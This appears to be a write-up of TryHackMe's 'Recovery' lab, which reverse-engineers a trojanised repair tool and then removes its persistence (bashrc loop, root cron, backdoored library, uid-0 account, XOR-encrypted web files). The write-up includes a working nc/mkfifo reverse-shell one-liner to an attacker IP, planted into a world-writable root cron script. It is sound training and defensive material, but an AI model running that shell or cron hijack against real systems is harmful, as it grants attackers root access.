mintshell
VI

Recovery

A reverse-engineering / incident-response box: decompile a malicious 'fixutil' and its liblogging.so backdoor to find each persistence mechanism, repurpose the attacker's own writable root cron for a root shell, then remediate each artifact (bashrc, cron, library, authorized_keys, uid-0 user, XOR-encrypted web files) for a flag.

Platform
TryHackMe
Room
Recovery(external link)
Difficulty
Medium
Vulnerabilities
supply chain backdoor, writable scheduled task, hardcoded credentials
5 min read

A walkthrough of the “Recovery” room from TryHackMe — an unusual reverse-engineering and incident-response box. A compromised server runs a malicious fixutil that has backdoored itself through /bin/admin and a trojanised liblogging.so**. We decompile the chain, repurpose the attacker’s own writable root cron for a root shell, and then remediate each persistence artifact; each clean-up earns a flag on a recovery page.

Recovery is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Flags are earned on the recovery page per remediation and are shown as THM{<redacted>}; the planted root-user hash is shown as <redacted>. The attacker’s malware strings and the XOR recovery key are kept because they are what the task teaches.


TL;DR

TL;DR

SSH as alex spews an infinite “YOU DIDN’T SAY THE MAGIC WORD!” — a loop the malware appended to .bashrc; bypass it with ssh -t '/bin/sh' → pull fixutil and reverse it (Ghidra): it poisons .bashrc, swaps liblogging.so for a trojan, and runs /bin/admin (a setresuid(0) backdoor whose LogIncorrectAttempt deploys the persistence) → that persistence writes a world-writable /opt/brilliant_script.sh run as root by /etc/cron.d/evil — repurpose it into a reverse shell for root → then remediate each artifact for a flag: clean .bashrc, neutralise the cron/kill-script, restore the real liblogging.so, remove the attacker key from /root/.ssh/authorized_keys, delete the planted uid-0 security user, and XOR-decrypt the web files using the key in /opt/.fixutil/backup.txt.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows SSH (alex’s creds are provided), Apache, an nginx “Help Alex!” recovery page on 1337, and a second SSH:

22/tcp    open  ssh    OpenSSH 7.9p1 Debian
80/tcp    open  http   Apache 2.4.43
1337/tcp  open  http   nginx 1.14.0   # "Help Alex!" — the flag/recovery page
65499/tcp open  ssh    OpenSSH 7.6p1 Ubuntu

Logging in as alex scrolls an infinite message — the first piece of malware.

The vulnerability

This box inverts the usual flow: you’re the responder. A malicious “repair tool” (fixutil) has layered persistence across .bashrc, a trojanised shared library, a SUID-ish admin backdoor, a root cron, SSH keys, a hidden uid-0 account, and XOR-encrypted web files. Reversing the chain tells you exactly what to undo.

Insight

Two things make this tractable. First, ssh -t '/bin/sh' runs a command before the login shell, dodging the poisoned .bashrc loop. Second, the attacker’s persistence is itself the privilege-escalation bug: LogIncorrectAttempt (inside the trojan liblogging.so) writes /opt/brilliant_script.sh world-writable and a /etc/cron.d/evil entry that runs it as root every minute. Overwrite that script with a reverse shell and the attacker’s own kill-switch hands you root — which you then need to clean everything else.

Step 0 — get a usable shell, reverse the malware

ssh alex@$IP -t '/bin/sh'           # dodge the .bashrc loop
scp alex@$IP:~/fixutil ./           # reverse in Ghidra
# fixutil main(): appends a while-loop to /home/alex/.bashrc,
#   replaces /lib/x86_64-linux-gnu/liblogging.so with a trojan,
#   runs `echo pwned | /bin/admin`
# /bin/admin: setresuid(0); hardcoded-password check; calls LogIncorrectAttempt() in liblogging.so

Step 1 — flag 0: clean the .bashrc loop

Remove the appended while :; do echo ...; done & line from /home/alex/.bashrc (scp a clean copy back). The recovery page releases flag 0.

Step 2 — flag 1: the writable root cron → root shell

LogIncorrectAttempt writes a bash-killer and schedules it as root:

# /opt/brilliant_script.sh (world-writable, run by /etc/cron.d/evil as root every minute)
# repurpose it into a reverse shell:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 1234 >/tmp/f' > /opt/brilliant_script.sh
nc -lvnp 1234   # ~1 min later -> root shell

Neutralising the kill-script/cron releases flag 1 (and gives us root for the rest).

Step 3 — flags 2–4: restore files, keys, and users

From root, undo the remaining persistence the decompilation revealed:

# flag 2 - restore the original library (fixutil saved it as oldliblogging.so):
mv /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so
# flag 3 - remove the attacker's key:
rm -f /root/.ssh/authorized_keys   # (drops the planted 'ssh-rsa ... root@recovery')
# flag 4 - delete the planted uid-0 backdoor account 'security':
#   (useradd --non-unique -u 0 -g 0 security, password hash <redacted>)
userdel -f security

Step 4 — flag 5: XOR-decrypt the web files

XOREncryptWebFiles XORs the files in /usr/local/apache2/htdocs with a key it conveniently logs to /opt/.fixutil/backup.txt. Recover the key and decrypt:

cat /opt/.fixutil/backup.txt        # XOR key: AdsipPewFlfkmll
# repeating-key XOR each encrypted file back to plaintext, then restore index.html / reallyimportant.txt / todo.html

Restoring the web content releases flag 5.

Impact

Critical

Critical — CVSS 3.1 ~9.1 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). A trojanised “repair” utility establishes deep, root-level persistence — a poisoned shell profile, a backdoored shared library and admin binary, a planted uid-0 account, overwritten SSH keys, and XOR-encrypted web content. The malware’s own world-writable root cron is itself a privilege-escalation path, meaning any low-privileged user who can edit it gains root. Full host compromise and data tampering.

Fix

  • Never run untrusted “fix” tools as a privileged user; verify binaries and sources before execution.
  • Make scheduled scripts root-owned and non-writable. A world-writable /opt/brilliant_script.sh run by a root cron is an instant privesc.
  • Baseline and monitor .bashrc, shared libraries, /root/.ssh/authorized_keys, /etc/passwd (uid-0 accounts) and cron directories; file-integrity monitoring catches exactly this persistence.
  • After compromise, rebuild from known-good media — manual artifact removal (as done here for the lab) rarely guarantees full eradication.

Takeaways

  • ssh -t '/bin/sh' dodges a poisoned login shell. A command runs before .bashrc.
  • Reverse the malware to find the persistence. fixutil → /bin/admin → liblogging.so mapped every artifact.
  • The backdoor can be the privesc. A world-writable root cron planted by the attacker handed us root.
  • XOR with a logged key is trivially reversible — the malware saved its own recovery key.

Recovery is a refreshing blue-team-flavoured box: reverse the attack, then cleanly undo it. Thanks for reading.